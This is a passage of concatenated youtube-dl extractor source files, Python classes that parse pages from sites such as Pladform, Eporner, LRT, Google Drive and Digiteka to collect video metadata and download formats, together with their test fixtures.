        'url': 'http://out.pladform.ru/player?pl=24822&videoid=100183293',
        'md5': '61f37b575dd27f1bb2e1854777fe31f4',
        'info_dict': {
            'id': '100183293',
            'ext': 'mp4',
            'title': 'Тайны перевала Дятлова • 1 серия 2 часть',
            'description': 'Документальный сериал-расследование одной из самых жутких тайн ХХ века',
            'thumbnail': 're:^https?://.*\.jpg$',
            'duration': 694,
            'age_limit': 0,
        },
    }, {
        'url': 'http://static.pladform.ru/player.swf?pl=21469&videoid=100183293&vkcid=0',
        'only_matching': True,
    }, {
        'url': 'http://video.pladform.ru/catalog/video/videoid/100183293/vkcid/0',
        'only_matching': True,
    }]

    @staticmethod
    def _extract_url(webpage):
        mobj = re.search(
            r'<iframe[^>]+src=(["\'])(?P<url>(?:https?:)?//out\.pladform\.ru/player\?.+?)\1', webpage)
        if mobj:
            return mobj.group('url')

    def _real_extract(self, url):
        video_id = self._match_id(url)

        video = self._download_xml(
            'http://out.pladform.ru/getVideo?pl=1&videoid=%s' % video_id,
            video_id)

        if video.tag == 'error':
            raise ExtractorError(
                '%s returned error: %s' % (self.IE_NAME, video.text),
                expected=True)

        quality = qualities(('ld', 'sd', 'hd'))

        formats = [{
            'url': src.text,
            'format_id': src.get('quality'),
            'quality': quality(src.get('quality')),
        } for src in video.findall('./src')]
        self._sort_formats(formats)

        webpage = self._download_webpage(
            'http://video.pladform.ru/catalog/video/videoid/%s' % video_id,
            video_id)

        title = self._og_search_title(webpage, fatal=False) or xpath_text(
            video, './/title', 'title', fatal=True)
        description = self._search_regex(
            r'</h3>\s*<p>([^<]+)</p>', webpage, 'description', fatal=False)
        thumbnail = self._og_search_thumbnail(webpage) or xpath_text(
            video, './/cover', 'cover')

        duration = int_or_none(xpath_text(video, './/time', 'duration'))
        age_limit = int_or_none(xpath_text(video, './/age18', 'age limit'))

        return {
            'id': video_id,
            'title': title,
            'description': description,
            'thumbnail': thumbnail,
            'duration': duration,
            'age_limit': age_limit,
            'formats': formats,
        }






from __future__ import unicode_literals

from .common import InfoExtractor
from ..utils import ExtractorError


class MacGameStoreIE(InfoExtractor):
    IE_NAME = 'macgamestore'
    IE_DESC = 'MacGameStore trailers'
    _VALID_URL = r'https?://www\.macgamestore\.com/mediaviewer\.php\?trailer=(?P<id>\d+)'

    _TEST = {
        'url': 'http://www.macgamestore.com/mediaviewer.php?trailer=2450',
        'md5': '8649b8ea684b6666b4c5be736ecddc61',
        'info_dict': {
            'id': '2450',
            'ext': 'm4v',
            'title': 'Crow',
        }
    }

    def _real_extract(self, url):
        video_id = self._match_id(url)
        webpage = self._download_webpage(
            url, video_id, 'Downloading trailer page')

        if '>Missing Media<' in webpage:
            raise ExtractorError(
                'Trailer %s does not exist' % video_id, expected=True)

        video_title = self._html_search_regex(
            r'<title>MacGameStore: (.*?) Trailer</title>', webpage, 'title')

        video_url = self._html_search_regex(
            r'(?s)<div\s+id="video-player".*?href="([^"]+)"\s*>',
            webpage, 'video URL')

        return {
            'id': video_id,
            'url': video_url,
            'title': video_title
        }






# coding: utf-8
from __future__ import unicode_literals

import re

from .common import InfoExtractor
from ..compat import compat_str
from ..utils import (
    encode_base_n,
    ExtractorError,
    int_or_none,
    parse_duration,
    str_to_int,
)


class EpornerIE(InfoExtractor):
    _VALID_URL = r'https?://(?:www\.)?eporner\.com/hd-porn/(?P<id>\w+)(?:/(?P<display_id>[\w-]+))?'
    _TESTS = [{
        'url': 'http://www.eporner.com/hd-porn/95008/Infamous-Tiffany-Teen-Strip-Tease-Video/',
        'md5': '39d486f046212d8e1b911c52ab4691f8',
        'info_dict': {
            'id': 'qlDUmNsj6VS',
            'display_id': 'Infamous-Tiffany-Teen-Strip-Tease-Video',
            'ext': 'mp4',
            'title': 'Infamous Tiffany Teen Strip Tease Video',
            'duration': 1838,
            'view_count': int,
            'age_limit': 18,
        },
    }, {
        # New (May 2016) URL layout
        'url': 'http://www.eporner.com/hd-porn/3YRUtzMcWn0/Star-Wars-XXX-Parody/',
        'only_matching': True,
    }, {
        'url': 'http://www.eporner.com/hd-porn/3YRUtzMcWn0',
        'only_matching': True,
    }]

    def _real_extract(self, url):
        mobj = re.match(self._VALID_URL, url)
        video_id = mobj.group('id')
        display_id = mobj.group('display_id') or video_id

        webpage, urlh = self._download_webpage_handle(url, display_id)

        video_id = self._match_id(compat_str(urlh.geturl()))

        hash = self._search_regex(
            r'hash\s*:\s*["\']([\da-f]{32})', webpage, 'hash')

        title = self._og_search_title(webpage, default=None) or self._html_search_regex(
            r'<title>(.+?) - EPORNER', webpage, 'title')

        # Reverse engineered from vjs.js
        def calc_hash(s):
            return ''.join((encode_base_n(int(s[lb:lb + 8], 16), 36) for lb in range(0, 32, 8)))

        video = self._download_json(
            'http://www.eporner.com/xhr/video/%s' % video_id,
            display_id, note='Downloading video JSON',
            query={
                'hash': calc_hash(hash),
                'device': 'generic',
                'domain': 'www.eporner.com',
                'fallback': 'false',
            })

        if video.get('available') is False:
            raise ExtractorError(
                '%s said: %s' % (self.IE_NAME, video['message']), expected=True)

        sources = video['sources']

        formats = []
        for kind, formats_dict in sources.items():
            if not isinstance(formats_dict, dict):
                continue
            for format_id, format_dict in formats_dict.items():
                if not isinstance(format_dict, dict):
                    continue
                src = format_dict.get('src')
                if not isinstance(src, compat_str) or not src.startswith('http'):
                    continue
                if kind == 'hls':
                    formats.extend(self._extract_m3u8_formats(
                        src, display_id, 'mp4', entry_protocol='m3u8_native',
                        m3u8_id=kind, fatal=False))
                else:
                    height = int_or_none(self._search_regex(
                        r'(\d+)[pP]', format_id, 'height', default=None))
                    fps = int_or_none(self._search_regex(
                        r'(\d+)fps', format_id, 'fps', default=None))

                    formats.append({
                        'url': src,
                        'format_id': format_id,
                        'height': height,
                        'fps': fps,
                    })
        self._sort_formats(formats)

        duration = parse_duration(self._html_search_meta('duration', webpage))
        view_count = str_to_int(self._search_regex(
            r'id="cinemaviews">\s*([0-9,]+)\s*<small>views',
            webpage, 'view count', fatal=False))

        return {
            'id': video_id,
            'display_id': display_id,
            'title': title,
            'duration': duration,
            'view_count': view_count,
            'formats': formats,
            'age_limit': 18,
        }






# coding: utf-8
from __future__ import unicode_literals

from .common import InfoExtractor
from ..utils import (
    int_or_none,
    parse_duration,
    remove_end,
)


class LRTIE(InfoExtractor):
    IE_NAME = 'lrt.lt'
    _VALID_URL = r'https?://(?:www\.)?lrt\.lt/mediateka/irasas/(?P<id>[0-9]+)'
    _TEST = {
        'url': 'http://www.lrt.lt/mediateka/irasas/54391/',
        'info_dict': {
            'id': '54391',
            'ext': 'mp4',
            'title': 'Septynios Kauno dienos',
            'description': 'md5:24d84534c7dc76581e59f5689462411a',
            'duration': 1783,
            'view_count': int,
            'like_count': int,
        },
        'params': {
            'skip_download': True,  # m3u8 download
        },
    }

    def _real_extract(self, url):
        video_id = self._match_id(url)
        webpage = self._download_webpage(url, video_id)

        title = remove_end(self._og_search_title(webpage), ' - LRT')
        m3u8_url = self._search_regex(
            r'file\s*:\s*(["\'])(?P<url>.+?)\1\s*\+\s*location\.hash\.substring\(1\)',
            webpage, 'm3u8 url', group='url')
        formats = self._extract_m3u8_formats(m3u8_url, video_id, 'mp4')
        self._sort_formats(formats)

        thumbnail = self._og_search_thumbnail(webpage)
        description = self._og_search_description(webpage)
        duration = parse_duration(self._search_regex(
            r'var\s+record_len\s*=\s*(["\'])(?P<duration>[0-9]+:[0-9]+:[0-9]+)\1',
            webpage, 'duration', default=None, group='duration'))

        view_count = int_or_none(self._html_search_regex(
            r'<div[^>]+class=(["\']).*?record-desc-seen.*?\1[^>]*>(?P<count>.+?)</div>',
            webpage, 'view count', fatal=False, group='count'))
        like_count = int_or_none(self._search_regex(
            r'<span[^>]+id=(["\'])flikesCount.*?\1>(?P<count>\d+)<',
            webpage, 'like count', fatal=False, group='count'))

        return {
            'id': video_id,
            'title': title,
            'formats': formats,
            'thumbnail': thumbnail,
            'description': description,
            'duration': duration,
            'view_count': view_count,
            'like_count': like_count,
        }






from __future__ import unicode_literals

import re

from .common import InfoExtractor


class TrailerAddictIE(InfoExtractor):
    _WORKING = False
    _VALID_URL = r'(?:https?://)?(?:www\.)?traileraddict\.com/(?:trailer|clip)/(?P<movie>.+?)/(?P<trailer_name>.+)'
    _TEST = {
        'url': 'http://www.traileraddict.com/trailer/prince-avalanche/trailer',
        'md5': '41365557f3c8c397d091da510e73ceb4',
        'info_dict': {
            'id': '76184',
            'ext': 'mp4',
            'title': 'Prince Avalanche Trailer',
            'description': 'Trailer for Prince Avalanche.\n\nTwo highway road workers spend the summer of 1988 away from their city lives. The isolated landscape becomes a place of misadventure as the men find themselves at odds with each other and the women they left behind.',
        }
    }

    def _real_extract(self, url):
        mobj = re.match(self._VALID_URL, url)
        name = mobj.group('movie') + '/' + mobj.group('trailer_name')
        webpage = self._download_webpage(url, name)

        title = self._search_regex(r'<title>(.+?)</title>',
                                   webpage, 'video title').replace(' - Trailer Addict', '')
        view_count_str = self._search_regex(
            r'<span class="views_n">([0-9,.]+)</span>',
            webpage, 'view count', fatal=False)
        view_count = (
            None if view_count_str is None
            else int(view_count_str.replace(',', '')))
        video_id = self._search_regex(
            r'<param\s+name="movie"\s+value="/emb/([0-9]+)"\s*/>',
            webpage, 'video id')

        # Presence of (no)watchplus function indicates HD quality is available
        if re.search(r'function (no)?watchplus()', webpage):
            fvar = 'fvarhd'
        else:
            fvar = 'fvar'

        info_url = 'http://www.traileraddict.com/%s.php?tid=%s' % (fvar, str(video_id))
        info_webpage = self._download_webpage(info_url, video_id, 'Downloading the info webpage')

        final_url = self._search_regex(r'&fileurl=(.+)',
                                       info_webpage, 'Download url').replace('%3F', '?')
        thumbnail_url = self._search_regex(r'&image=(.+?)&',
                                           info_webpage, 'thumbnail url')

        description = self._html_search_regex(
            r'(?s)<div class="synopsis">.*?<div class="movie_label_info"[^>]*>(.*?)</div>',
            webpage, 'description', fatal=False)

        return {
            'id': video_id,
            'url': final_url,
            'title': title,
            'thumbnail': thumbnail_url,
            'description': description,
            'view_count': view_count,
        }






# coding: utf-8
from __future__ import unicode_literals

import re

from .common import InfoExtractor
from ..utils import int_or_none


class PlaysTVIE(InfoExtractor):
    _VALID_URL = r'https?://(?:www\.)?plays\.tv/video/(?P<id>[0-9a-f]{18})'
    _TEST = {
        'url': 'http://plays.tv/video/56af17f56c95335490/when-you-outplay-the-azir-wall',
        'md5': 'dfeac1198506652b5257a62762cec7bc',
        'info_dict': {
            'id': '56af17f56c95335490',
            'ext': 'mp4',
            'title': 'When you outplay the Azir wall',
            'description': 'Posted by Bjergsen',
        }
    }

    def _real_extract(self, url):
        video_id = self._match_id(url)
        webpage = self._download_webpage(url, video_id)

        title = self._og_search_title(webpage)
        content = self._parse_json(
            self._search_regex(
                r'R\.bindContent\(({.+?})\);', webpage,
                'content'), video_id)['content']
        mpd_url, sources = re.search(
            r'(?s)<video[^>]+data-mpd="([^"]+)"[^>]*>(.+?)</video>',
            content).groups()
        formats = self._extract_mpd_formats(
            self._proto_relative_url(mpd_url), video_id, mpd_id='DASH')
        for format_id, height, format_url in re.findall(r'<source\s+res="((\d+)h?)"\s+src="([^"]+)"', sources):
            formats.append({
                'url': self._proto_relative_url(format_url),
                'format_id': 'http-' + format_id,
                'height': int_or_none(height),
            })
        self._sort_formats(formats)

        return {
            'id': video_id,
            'title': title,
            'description': self._og_search_description(webpage),
            'thumbnail': self._og_search_thumbnail(webpage),
            'formats': formats,
        }






from __future__ import unicode_literals

from .common import InfoExtractor
from ..utils import unified_strdate


class ATTTechChannelIE(InfoExtractor):
    _VALID_URL = r'https?://techchannel\.att\.com/play-video\.cfm/([^/]+/)*(?P<id>.+)'
    _TEST = {
        'url': 'http://techchannel.att.com/play-video.cfm/2014/1/27/ATT-Archives-The-UNIX-System-Making-Computers-Easier-to-Use',
        'info_dict': {
            'id': '11316',
            'display_id': 'ATT-Archives-The-UNIX-System-Making-Computers-Easier-to-Use',
            'ext': 'flv',
            'title': 'AT&T Archives : The UNIX System: Making Computers Easier to Use',
            'description': 'A 1982 film about UNIX is the foundation for software in use around Bell Labs and AT&T.',
            'thumbnail': 're:^https?://.*\.jpg$',
            'upload_date': '20140127',
        },
        'params': {
            # rtmp download
            'skip_download': True,
        },
    }

    def _real_extract(self, url):
        display_id = self._match_id(url)

        webpage = self._download_webpage(url, display_id)

        video_url = self._search_regex(
            r"url\s*:\s*'(rtmp://[^']+)'",
            webpage, 'video URL')

        video_id = self._search_regex(
            r'mediaid\s*=\s*(\d+)',
            webpage, 'video id', fatal=False)

        title = self._og_search_title(webpage)
        description = self._og_search_description(webpage)
        thumbnail = self._og_search_thumbnail(webpage)
        upload_date = unified_strdate(self._search_regex(
            r'[Rr]elease\s+date:\s*(\d{1,2}/\d{1,2}/\d{4})',
            webpage, 'upload date', fatal=False), False)

        return {
            'id': video_id,
            'display_id': display_id,
            'url': video_url,
            'ext': 'flv',
            'title': title,
            'description': description,
            'thumbnail': thumbnail,
            'upload_date': upload_date,
        }






from __future__ import unicode_literals

import re
import json

from .common import InfoExtractor
from ..compat import (
    compat_urllib_parse_unquote,
    compat_urlparse,
)
from ..utils import (
    ExtractorError,
    clean_html,
    get_element_by_id,
)


class VeeHDIE(InfoExtractor):
    _VALID_URL = r'https?://veehd\.com/video/(?P<id>\d+)'

    # Seems VeeHD videos have multiple copies on several servers, all of
    # whom have different MD5 checksums, so omit md5 field in all tests
    _TESTS = [{
        'url': 'http://veehd.com/video/4639434_Solar-Sinter',
        'info_dict': {
            'id': '4639434',
            'ext': 'mp4',
            'title': 'Solar Sinter',
            'uploader_id': 'VideoEyes',
            'description': 'md5:46a840e8692ddbaffb5f81d9885cb457',
        },
        'skip': 'Video deleted',
    }, {
        'url': 'http://veehd.com/video/4905758_Elysian-Fields-Channeling',
        'info_dict': {
            'id': '4905758',
            'ext': 'mp4',
            'title': 'Elysian Fields - Channeling',
            'description': 'md5:360e4e95fdab58aefbea0f2a19e5604b',
            'uploader_id': 'spotted',
        }
    }, {
        'url': 'http://veehd.com/video/2046729_2012-2009-DivX-Trailer',
        'info_dict': {
            'id': '2046729',
            'ext': 'avi',
            'title': '2012 (2009) DivX Trailer',
            'description': 'md5:75435ee95255e6a9838ac6f6f3a2396b',
            'uploader_id': 'Movie_Trailers',
        }
    }]

    def _real_extract(self, url):
        video_id = self._match_id(url)

        # VeeHD seems to send garbage on the first request.
        # See https://github.com/rg3/youtube-dl/issues/2102
        self._download_webpage(url, video_id, 'Requesting webpage')
        webpage = self._download_webpage(url, video_id)

        if 'This video has been removed<' in webpage:
            raise ExtractorError('Video %s has been removed' % video_id, expected=True)

        player_path = self._search_regex(
            r'\$\("#playeriframe"\).attr\({src : "(.+?)"',
            webpage, 'player path')
        player_url = compat_urlparse.urljoin(url, player_path)

        self._download_webpage(player_url, video_id, 'Requesting player page')
        player_page = self._download_webpage(
            player_url, video_id, 'Downloading player page')

        video_url = None

        config_json = self._search_regex(
            r'value=\'config=({.+?})\'', player_page, 'config json', default=None)

        if config_json:
            config = json.loads(config_json)
            video_url = compat_urllib_parse_unquote(config['clip']['url'])

        if not video_url:
            video_url = self._html_search_regex(
                r'<embed[^>]+type="video/divx"[^>]+src="([^"]+)"',
                player_page, 'video url', default=None)

        if not video_url:
            iframe_src = self._search_regex(
                r'<iframe[^>]+src="/?([^"]+)"', player_page, 'iframe url')
            iframe_url = 'http://veehd.com/%s' % iframe_src

            self._download_webpage(iframe_url, video_id, 'Requesting iframe page')
            iframe_page = self._download_webpage(
                iframe_url, video_id, 'Downloading iframe page')

            video_url = self._search_regex(
                r"file\s*:\s*'([^']+)'", iframe_page, 'video url')

        title = clean_html(get_element_by_id('videoName', webpage).rpartition('|')[0])
        uploader_id = self._html_search_regex(
            r'<a href="/profile/\d+">(.+?)</a>',
            webpage, 'uploader')
        thumbnail = self._search_regex(
            r'<img id="veehdpreview" src="(.+?)"',
            webpage, 'thumbnail')
        description = self._html_search_regex(
            r'<td class="infodropdown".*?<div>(.*?)<ul',
            webpage, 'description', flags=re.DOTALL)

        return {
            '_type': 'video',
            'id': video_id,
            'title': title,
            'url': video_url,
            'uploader_id': uploader_id,
            'thumbnail': thumbnail,
            'description': description,
        }






from __future__ import unicode_literals

import re

from .common import InfoExtractor
from ..utils import (
    determine_ext,
    js_to_json,
    mimetype2ext,
)


class ThreeQSDNIE(InfoExtractor):
    IE_NAME = '3qsdn'
    IE_DESC = '3Q SDN'
    _VALID_URL = r'https?://playout\.3qsdn\.com/(?P<id>[\da-f]{8}-[\da-f]{4}-[\da-f]{4}-[\da-f]{4}-[\da-f]{12})'
    _TESTS = [{
        # ondemand from http://www.philharmonie.tv/veranstaltung/26/
        'url': 'http://playout.3qsdn.com/0280d6b9-1215-11e6-b427-0cc47a188158?protocol=http',
        'md5': 'ab040e37bcfa2e0c079f92cb1dd7f6cd',
        'info_dict': {
            'id': '0280d6b9-1215-11e6-b427-0cc47a188158',
            'ext': 'mp4',
            'title': '0280d6b9-1215-11e6-b427-0cc47a188158',
            'is_live': False,
        },
        'expected_warnings': ['Failed to download MPD manifest', 'Failed to parse JSON'],
    }, {
        # live video stream
        'url': 'https://playout.3qsdn.com/d755d94b-4ab9-11e3-9162-0025907ad44f?js=true',
        'info_dict': {
            'id': 'd755d94b-4ab9-11e3-9162-0025907ad44f',
            'ext': 'mp4',
            'title': 're:^d755d94b-4ab9-11e3-9162-0025907ad44f [0-9]{4}-[0-9]{2}-[0-9]{2} [0-9]{2}:[0-9]{2}$',
            'is_live': True,
        },
        'params': {
            'skip_download': True,  # m3u8 downloads
        },
        'expected_warnings': ['Failed to download MPD manifest'],
    }, {
        # live audio stream
        'url': 'http://playout.3qsdn.com/9edf36e0-6bf2-11e2-a16a-9acf09e2db48',
        'only_matching': True,
    }, {
        # live audio stream with some 404 URLs
        'url': 'http://playout.3qsdn.com/ac5c3186-777a-11e2-9c30-9acf09e2db48',
        'only_matching': True,
    }, {
        # geo restricted with 'This content is not available in your country'
        'url': 'http://playout.3qsdn.com/d63a3ffe-75e8-11e2-9c30-9acf09e2db48',
        'only_matching': True,
    }, {
        # geo restricted with 'playout.3qsdn.com/forbidden'
        'url': 'http://playout.3qsdn.com/8e330f26-6ae2-11e2-a16a-9acf09e2db48',
        'only_matching': True,
    }, {
        # live video with rtmp link
        'url': 'https://playout.3qsdn.com/6092bb9e-8f72-11e4-a173-002590c750be',
        'only_matching': True,
    }]

    @staticmethod
    def _extract_url(webpage):
        mobj = re.search(
            r'<iframe[^>]+\b(?:data-)?src=(["\'])(?P<url>%s.*?)\1' % ThreeQSDNIE._VALID_URL, webpage)
        if mobj:
            return mobj.group('url')

    def _real_extract(self, url):
        video_id = self._match_id(url)

        js = self._download_webpage(
            'http://playout.3qsdn.com/%s' % video_id, video_id,
            query={'js': 'true'})

        if any(p in js for p in (
                '>This content is not available in your country',
                'playout.3qsdn.com/forbidden')):
            self.raise_geo_restricted()

        stream_content = self._search_regex(
            r'streamContent\s*:\s*(["\'])(?P<content>.+?)\1', js,
            'stream content', default='demand', group='content')

        live = stream_content == 'live'

        stream_type = self._search_regex(
            r'streamType\s*:\s*(["\'])(?P<type>audio|video)\1', js,
            'stream type', default='video', group='type')

        formats = []
        urls = set()

        def extract_formats(item_url, item={}):
            if not item_url or item_url in urls:
                return
            urls.add(item_url)
            ext = mimetype2ext(item.get('type')) or determine_ext(item_url, default_ext=None)
            if ext == 'mpd':
                formats.extend(self._extract_mpd_formats(
                    item_url, video_id, mpd_id='mpd', fatal=False))
            elif ext == 'm3u8':
                formats.extend(self._extract_m3u8_formats(
                    item_url, video_id, 'mp4',
                    entry_protocol='m3u8' if live else 'm3u8_native',
                    m3u8_id='hls', fatal=False))
            elif ext == 'f4m':
                formats.extend(self._extract_f4m_formats(
                    item_url, video_id, f4m_id='hds', fatal=False))
            else:
                if not self._is_valid_url(item_url, video_id):
                    return
                formats.append({
                    'url': item_url,
                    'format_id': item.get('quality'),
                    'ext': 'mp4' if item_url.startswith('rtsp') else ext,
                    'vcodec': 'none' if stream_type == 'audio' else None,
                })

        for item_js in re.findall(r'({[^{]*?\b(?:src|source)\s*:\s*["\'].+?})', js):
            f = self._parse_json(
                item_js, video_id, transform_source=js_to_json, fatal=False)
            if not f:
                continue
            extract_formats(f.get('src'), f)

        # More relaxed version to collect additional URLs and acting
        # as a future-proof fallback
        for _, src in re.findall(r'\b(?:src|source)\s*:\s*(["\'])((?:https?|rtsp)://.+?)\1', js):
            extract_formats(src)

        self._sort_formats(formats)

        title = self._live_title(video_id) if live else video_id

        return {
            'id': video_id,
            'title': title,
            'is_live': live,
            'formats': formats,
        }






# coding: utf-8
from __future__ import unicode_literals

import re

from .common import InfoExtractor
from ..utils import (
    unified_strdate
)


class THVideoIE(InfoExtractor):
    _VALID_URL = r'https?://(?:www\.)?thvideo\.tv/(?:v/th|mobile\.php\?cid=)(?P<id>[0-9]+)'
    _TEST = {
        'url': 'http://thvideo.tv/v/th1987/',
        'md5': 'fa107b1f73817e325e9433505a70db50',
        'info_dict': {
            'id': '1987',
            'ext': 'mp4',
            'title': '【动画】秘封活动记录 ～ The Sealed Esoteric History.分镜稿预览',
            'display_id': 'th1987',
            'thumbnail': 'http://thvideo.tv/uploadfile/2014/0722/20140722013459856.jpg',
            'description': '社团京都幻想剧团的第一个东方二次同人动画作品「秘封活动记录 ～ The Sealed Esoteric History.」 本视频是该动画第一期的分镜草稿...',
            'upload_date': '20140722'
        }
    }

    def _real_extract(self, url):
        video_id = self._match_id(url)

        # extract download link from mobile player page
        webpage_player = self._download_webpage(
            'http://thvideo.tv/mobile.php?cid=%s-0' % (video_id),
            video_id, note='Downloading video source page')
        video_url = self._html_search_regex(
            r'<source src="(.*?)" type', webpage_player, 'video url')

        # extract video info from main page
        webpage = self._download_webpage(
            'http://thvideo.tv/v/th%s' % (video_id), video_id)
        title = self._og_search_title(webpage)
        display_id = 'th%s' % video_id
        thumbnail = self._og_search_thumbnail(webpage)
        description = self._og_search_description(webpage)
        upload_date = unified_strdate(self._html_search_regex(
            r'span itemprop="datePublished" content="(.*?)">', webpage,
            'upload date', fatal=False))

        return {
            'id': video_id,
            'ext': 'mp4',
            'url': video_url,
            'title': title,
            'display_id': display_id,
            'thumbnail': thumbnail,
            'description': description,
            'upload_date': upload_date
        }


class THVideoPlaylistIE(InfoExtractor):
    _VALID_URL = r'http?://(?:www\.)?thvideo\.tv/mylist(?P<id>[0-9]+)'
    _TEST = {
        'url': 'http://thvideo.tv/mylist2',
        'info_dict': {
            'id': '2',
            'title': '幻想万華鏡',
        },
        'playlist_mincount': 23,
    }

    def _real_extract(self, url):
        playlist_id = self._match_id(url)

        webpage = self._download_webpage(url, playlist_id)
        list_title = self._html_search_regex(
            r'<h1 class="show_title">(.*?)<b id', webpage, 'playlist title',
            fatal=False)

        entries = [
            self.url_result('http://thvideo.tv/v/th' + id, 'THVideo')
            for id in re.findall(r'<dd><a href="http://thvideo.tv/v/th(\d+)/" target=', webpage)]

        return self.playlist_result(entries, playlist_id, list_title)






from __future__ import unicode_literals

import re

from .common import InfoExtractor
from ..utils import (
    ExtractorError,
    int_or_none,
)


class GoogleDriveIE(InfoExtractor):
    _VALID_URL = r'https?://(?:(?:docs|drive)\.google\.com/(?:uc\?.*?id=|file/d/)|video\.google\.com/get_player\?.*?docid=)(?P<id>[a-zA-Z0-9_-]{28,})'
    _TESTS = [{
        'url': 'https://drive.google.com/file/d/0ByeS4oOUV-49Zzh4R1J6R09zazQ/edit?pli=1',
        'md5': '881f7700aec4f538571fa1e0eed4a7b6',
        'info_dict': {
            'id': '0ByeS4oOUV-49Zzh4R1J6R09zazQ',
            'ext': 'mp4',
            'title': 'Big Buck Bunny.mp4',
            'duration': 46,
        }
    }, {
        # video id is longer than 28 characters
        'url': 'https://drive.google.com/file/d/1ENcQ_jeCuj7y19s66_Ou9dRP4GKGsodiDQ/edit',
        'only_matching': True,
    }]
    _FORMATS_EXT = {
        '5': 'flv',
        '6': 'flv',
        '13': '3gp',
        '17': '3gp',
        '18': 'mp4',
        '22': 'mp4',
        '34': 'flv',
        '35': 'flv',
        '36': '3gp',
        '37': 'mp4',
        '38': 'mp4',
        '43': 'webm',
        '44': 'webm',
        '45': 'webm',
        '46': 'webm',
        '59': 'mp4',
    }

    @staticmethod
    def _extract_url(webpage):
        mobj = re.search(
            r'<iframe[^>]+src="https?://(?:video\.google\.com/get_player\?.*?docid=|(?:docs|drive)\.google\.com/file/d/)(?P<id>[a-zA-Z0-9_-]{28,})',
            webpage)
        if mobj:
            return 'https://drive.google.com/file/d/%s' % mobj.group('id')

    def _real_extract(self, url):
        video_id = self._match_id(url)
        webpage = self._download_webpage(
            'http://docs.google.com/file/d/%s' % video_id, video_id, encoding='unicode_escape')

        reason = self._search_regex(r'"reason"\s*,\s*"([^"]+)', webpage, 'reason', default=None)
        if reason:
            raise ExtractorError(reason)

        title = self._search_regex(r'"title"\s*,\s*"([^"]+)', webpage, 'title')
        duration = int_or_none(self._search_regex(
            r'"length_seconds"\s*,\s*"([^"]+)', webpage, 'length seconds', default=None))
        fmt_stream_map = self._search_regex(
            r'"fmt_stream_map"\s*,\s*"([^"]+)', webpage, 'fmt stream map').split(',')
        fmt_list = self._search_regex(r'"fmt_list"\s*,\s*"([^"]+)', webpage, 'fmt_list').split(',')

        formats = []
        for fmt, fmt_stream in zip(fmt_list, fmt_stream_map):
            fmt_id, fmt_url = fmt_stream.split('|')
            resolution = fmt.split('/')[1]
            width, height = resolution.split('x')
            formats.append({
                'url': fmt_url,
                'format_id': fmt_id,
                'resolution': resolution,
                'width': int_or_none(width),
                'height': int_or_none(height),
                'ext': self._FORMATS_EXT[fmt_id],
            })
        self._sort_formats(formats)

        return {
            'id': video_id,
            'title': title,
            'thumbnail': self._og_search_thumbnail(webpage, default=None),
            'duration': duration,
            'formats': formats,
        }






from __future__ import unicode_literals

from .common import InfoExtractor
from ..utils import parse_duration


class HistoricFilmsIE(InfoExtractor):
    _VALID_URL = r'https?://(?:www\.)?historicfilms\.com/(?:tapes/|play)(?P<id>\d+)'
    _TEST = {
        'url': 'http://www.historicfilms.com/tapes/4728',
        'md5': 'd4a437aec45d8d796a38a215db064e9a',
        'info_dict': {
            'id': '4728',
            'ext': 'mov',
            'title': 'Historic Films: GP-7',
            'description': 'md5:1a86a0f3ac54024e419aba97210d959a',
            'thumbnail': 're:^https?://.*\.jpg$',
            'duration': 2096,
        },
    }

    def _real_extract(self, url):
        video_id = self._match_id(url)

        webpage = self._download_webpage(url, video_id)

        tape_id = self._search_regex(
            [r'class="tapeId"[^>]*>([^<]+)<', r'tapeId\s*:\s*"([^"]+)"'],
            webpage, 'tape id')

        title = self._og_search_title(webpage)
        description = self._og_search_description(webpage)
        thumbnail = self._html_search_meta(
            'thumbnailUrl', webpage, 'thumbnails') or self._og_search_thumbnail(webpage)
        duration = parse_duration(self._html_search_meta(
            'duration', webpage, 'duration'))

        video_url = 'http://www.historicfilms.com/video/%s_%s_web.mov' % (tape_id, video_id)

        return {
            'id': video_id,
            'url': video_url,
            'title': title,
            'description': description,
            'thumbnail': thumbnail,
            'duration': duration,
        }






# coding: utf-8
from __future__ import unicode_literals

import re

from .common import InfoExtractor
from ..utils import int_or_none


class DigitekaIE(InfoExtractor):
    _VALID_URL = r'''(?x)
        https?://(?:www\.)?(?:digiteka\.net|ultimedia\.com)/
        (?:
            deliver/
            (?P<embed_type>
                generic|
                musique
            )
            (?:/[^/]+)*/
            (?:
                src|
                article
            )|
            default/index/video
            (?P<site_type>
                generic|
                music
            )
            /id
        )/(?P<id>[\d+a-z]+)'''
    _TESTS = [{
        # news
        'url': 'https://www.ultimedia.com/default/index/videogeneric/id/s8uk0r',
        'md5': '276a0e49de58c7e85d32b057837952a2',
        'info_dict': {
            'id': 's8uk0r',
            'ext': 'mp4',
            'title': 'Loi sur la fin de vie: le texte prévoit un renforcement des directives anticipées',
            'thumbnail': 're:^https?://.*\.jpg',
            'duration': 74,
            'upload_date': '20150317',
            'timestamp': 1426604939,
            'uploader_id': '3fszv',
        },
    }, {
        # music
        'url': 'https://www.ultimedia.com/default/index/videomusic/id/xvpfp8',
        'md5': '2ea3513813cf230605c7e2ffe7eca61c',
        'info_dict': {
            'id': 'xvpfp8',
            'ext': 'mp4',
            'title': 'Two - C\'est La Vie (clip)',
            'thumbnail': 're:^https?://.*\.jpg',
            'duration': 233,
            'upload_date': '20150224',
            'timestamp': 1424760500,
            'uploader_id': '3rfzk',
        },
    }, {
        'url': 'https://www.digiteka.net/deliver/generic/iframe/mdtk/01637594/src/lqm3kl/zone/1/showtitle/1/autoplay/yes',
        'only_matching': True,
    }]

    @staticmethod
    def _extract_url(webpage):
        mobj = re.search(
            r'<(?:iframe|script)[^>]+src=["\'](?P<url>(?:https?:)?//(?:www\.)?ultimedia\.com/deliver/(?:generic|musique)(?:/[^/]+)*/(?:src|article)/[\d+a-z]+)',
            webpage)
        if mobj:
            return mobj.group('url')

    def _real_extract(self, url):
        mobj = re.match(self._VALID_URL, url)
        video_id = mobj.group('id')
        video_type = mobj.group('embed_type') or mobj.group('site_type')
        if video_type == 'music':
            video_type = 'musique'

        deliver_info = self._download_json(
            'http://www.ultimedia.com/deliver/video?video=%s&topic=%s' % (video_id, video_type),
            video_id)

        yt_id = deliver_info.get('yt_id')
        if yt_id:
            return self.url_result(yt_id, 'Youtube')

        jwconf = deliver_info['jwconf']

        formats = []
        for source in jwconf['playlist'][0]['sources']:
            formats.append({
                'url': source['file'],
                'format_id': source.get('label'),
            })

        self._sort_formats(formats)

        title = deliver_info['title']
        thumbnail = jwconf.get('image')
        duration = int_or_none(deliver_info.get('duration'))
        timestamp = int_or_none(deliver_info.get('release_time'))
